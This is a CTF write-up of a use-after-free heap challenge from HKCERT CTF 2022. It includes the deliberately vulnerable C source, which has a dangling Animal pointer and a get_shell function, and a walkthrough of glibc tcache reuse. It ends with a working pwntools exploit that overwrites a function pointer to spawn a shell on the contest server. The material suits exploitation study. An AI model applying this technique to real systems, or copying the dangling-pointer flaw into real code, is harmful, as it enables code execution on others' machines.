HKCERTCTF2022
Pwn
It is my first time actually solving heap challenges so I think it is worthwhile to do a write-up before I forget everything like I always do.
As the challenge name implies, the challenge was about exploiting a use-after-free vulnerbility to achieve code execution.
You can checkout the descriptions provided here by the challenge author which covered most of the information you need to solve the challenge.
Let us establish some facts about the challenge binary and the libc version.
Canary : โ
NX : โ
PIE : โ
Fortify : โ
RelRO : Partial
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
There is a good material if you are unfamiliar with glibc heap implementation:
PART 2: UNDERSTANDING THE GLIBC HEAP IMPLEMENTATION
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define ZOO_SIZE 10
#define MAX_NAME_SIZE 0x40
typedef struct Panda Panda;
typedef struct Parrot Parrot;
typedef struct Animal Animal;
typedef void (*speakFunc)(char*);
enum AnimalType {
PARROT,
PANDA
};
struct Animal
{
speakFunc speak;
enum AnimalType type;
char* name;
};
struct Zoo
{
int numOfAnimal;
Animal* animals[ZOO_SIZE];
} zoo = { .numOfAnimal = 0 };
void get_shell() {
system("/bin/sh");
}
void print(char* str) {
system("/usr/bin/date +\"%Y/%m/%d %H:%M.%S\" | tr -d '\n'");
printf(": %s\n", str);
}
void speak(char* name) {
print(name);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
alarm(60);
}
int menu() {
int choice = -1;
print("Welcome to ABC Zoo!!!");
print("1) Add animal");
print("2) Remove animal");
print("3) Report animal Name");
print("0) Exit");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice >= 0 && choice < 5) {
break;
}
printf("??\n");
}
printf("\n");
return choice;
}
void add_animal() {
int choice;
int size;
int idx;
Animal* animal;
if (zoo.numOfAnimal >= ZOO_SIZE) {
print("[ERROR] The zoo is full.");
return;
}
for (idx = 0; idx < ZOO_SIZE; idx++) {
if (zoo.animals[idx] == NULL) {
break;
}
}
animal = (Animal*) malloc(sizeof(Animal));
print("Type of animal?");
print("1) Parrot");
print("2) Panda");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice == 1) {
animal->type = PARROT;
break;
}
if (choice == 2) {
animal->type = PANDA;
break;
}
printf("??\n");
}
animal->speak = speak;
print("How long is the name? (max: 64 characters)");
while (1) {
printf("> ");
scanf("%d", &size);
if (size >= 0 && size < MAX_NAME_SIZE) {
animal->name = (char*) malloc(size);
break;
}
printf("??\n");
}
print("Name of animal?");
printf("> ");
read(0, animal->name, size);
zoo.animals[idx] = animal;
printf("> [DEBUG] Animal is added to zone %d\n", idx);
zoo.numOfAnimal++;
}
void remove_animal() {
int choice;
if (zoo.numOfAnimal <= 0) {
print("[ERROR] No animal in the zoo.");
return;
}
print("Zone number? (0-9)");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice >= 0 && choice < ZOO_SIZE) {
break;
}
printf("??\n");
}
if (zoo.animals[choice] == NULL) {
print("[ERROR] No animal in this zone.");
return;
}
free(zoo.animals[choice]->name);
free(zoo.animals[choice]);
printf("> [DEBUG] Animal is removed from zone %d\n", choice);
zoo.numOfAnimal--;
}
void report_name() {
int choice;
if (zoo.numOfAnimal <= 0) {
print("[ERROR] No animal in the zoo.");
return;
}
print("Zone number? (0-9)");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice >= 0 && choice < ZOO_SIZE) {
break;
}
printf("??\n");
}
if (zoo.animals[choice] == NULL) {
print("[ERROR] No animal in this zone.");
return;
}
zoo.animals[choice]->speak(zoo.animals[choice]->name);
}
int main(int argc, char const *argv[]) {
int leave = 0;
init();
while(!leave) {
switch (menu()) {
case 1:
add_animal();
break;
case 2:
remove_animal();
break;
case 3:
report_name();
break;
default:
leave = 1;
}
printf("\n");
}
return 0;
}
So basically you have three operations:
The first problem we observe in the program is the function remove_animal
does not set the pointer zoo.animals[choice]
to Null
. The dangling pointer would being kept in the array zoo.animals
which may be later referenced.
The second problem we observe in the program was the function report_name
does not check if zoo.animals[choice]
was removed or not before invoking zoo.animals[choice]->speak(zoo.animals[choice]->name);
. Combining with the first problem, we could see this is a typical use-after-free.
To achieve code execution, we could simply overwrite the zoo.animals[choice]->speak
in Animal
The function add_animal
will always allocate two chunks as shown in the following code.
animal = (Animal*) malloc(sizeof(Animal));
...snip...
scanf("%d", &size);
if (size >= 0 && size < MAX_NAME_SIZE) {
animal->name = (char*) malloc(size);
break;
}
...snip...
print("Name of animal?");
printf("> ");
read(0, animal->name, size);
}
The first allocatation is for the Animal
structure and the second allocation would be used to store the name with a user specified size.
Do note that the user can control the content in animal->name
as the line code read(0, animal->name, size);
reads user defined number of bytes from STDIN.
Let us take a look at the structure of Animal
typedef void (*speakFunc)(char*);
struct Animal
{
speakFunc speak;
enum AnimalType type;
char* name;
};
The size of this structure is probably 24 bytes (speakFunc 8 byte + enum AnimalType 8 byte + char* 8 byte).
When malloc(sizeof(Animal))
was called, the heap manager will allocate a chunk with size 0x20. If this chunk is freed, it will be going to the tcache. If any memory allocation request with size smaller or equal to 0x20, this chunk will be reallocated.
zoo.animals[choice]->speak
?We can see that the member variable speak
is at the begining of Animal
. Our goal is to allocate the chunk that was previously allocated for Animal
when animal->name = (char*) malloc(size);
was executing, then we could overwrite the first 8 byte of the memory as the line of code read(0, animal->name, size);
allows user to supply data via STDIN. This way the user can overwrite zoo.animals[choice]->speak
.
Animal
to be reallocated when the program is prompting for the name?Lets have a look at remove_animal
free(zoo.animals[choice]->name);
free(zoo.animals[choice]);
Since the Animal
chunk zoo.animals[choice]
is last freed, we will always get the Animal
first in add_animal
as tcache is First-in-last-out (FILO), so adding 1 and then immediately freeing it and then immediately adding back will get back the same order of chunks.
My solution involves the following order of operations:
Animal
.
Animal
, and one of them you could control by inputting the name.aaaaaaaa
, and report_name on zone 1. Put a breakpoint at report_name+256
and observe rip will go to 0x6161616161616161
Wed, Nov 16, 2022 9:06 PMWhy zone 1 instead of zone 0? tcache is a FILO data structure. Since zone 1 was freed first, the
Animal
chunk of zone 1 is being reallocated last, hence being allocated to theanimal->name
Do note that PIE is not enabled and there is a handy function in the challenge binary. By executing this function, we can get a shell.
void get_shell() {
system("/bin/sh");
}
To find the address of this function, you can try pwntool
from pwn import *
chall = ELF("./chall")
shell = chall.symbols["get_shell"]
Or objdump
objdump -D _chall | grep get_shell
0000000000401276 <get_shell>:
from pwn import *
context.log_level = "debug"
def _add(p,namesize,name):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"> ")
p.sendline(namesize)
p.recvuntil(b"> ")
p.sendline(name)
p.recvuntil(b'> [DEBUG]')
def _remove(p,idx):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"> ")
p.sendline(idx)
p.recvuntil(b'> [DEBUG]')
def _report(p,idx):
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"> ")
p.sendline(idx)
chall = ELF("./_chall")
shell = chall.symbols["get_shell"]
# p = process(chall.path)
p = remote("chal.hkcert22.pwnable.hk", 28235)
_add(p, b"63",b"aaaa")
_add(p,b"63",b"aaaa")
_remove(p,b"1")
_remove(p,b"0")
_add(p,b"24",p64(shell))
_report(p,b"1")
p.interactive()